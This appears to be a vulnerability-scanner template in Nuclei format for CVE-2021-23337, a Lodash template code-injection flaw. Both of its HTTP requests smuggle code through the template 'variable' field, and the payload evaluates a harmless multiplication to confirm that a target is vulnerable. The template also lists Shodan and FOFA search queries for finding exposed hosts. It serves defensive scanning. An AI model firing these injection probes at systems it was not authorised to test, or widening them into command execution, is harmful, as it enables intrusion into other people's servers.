Lodash Template - Server-Side Template Injection (RCE)

id: CVE-2021-23337

info:
  name: Lodash Template - Server-Side Template Injection (RCE)
  author: DhiyaneshDk
  severity: high
  description: |
    Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.
  impact: |
    Attackers can execute arbitrary commands on the host system, leading to full system compromise.
  remediation: |
    Update to version 4.17.21 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23337
    - https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724
    - https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c
    - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-23337
    cwe-id: CWE-94
    epss-score: 0.2241
    epss-percentile: 0.97407
  metadata:
    verified: true
    max-request: 2
    vendor: lodash
    product: lodash
    shodan-query: http.component:"lodash"
    fofa-query: body="lodash"
  tags: cve,cve2021,lodash,ssti,rce,nodejs,javascript

flow: http(1) || http(2)

variables:
  randA: "{{rand_int(1000, 9999)}}"
  randB: "{{rand_int(1000, 9999)}}"

http:
  - raw:
      - |
        POST /template HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"template":"<%= name %>","variable":") { return String({{randA}}*{{randB}}) }; with(obj","data":{"name":"test"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(randA)*to_number(randB)}}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: eval_result
        regex:
          - "[0-9]+"

  - raw:
      - |
        GET /render?tpl=hello&variable=)%7Breturn+String({{randA}}*{{randB}})%7D%3Bwith(obj HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{to_number(randA)*to_number(randB)}}"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: eval_result
        regex:
          - "[0-9]+"
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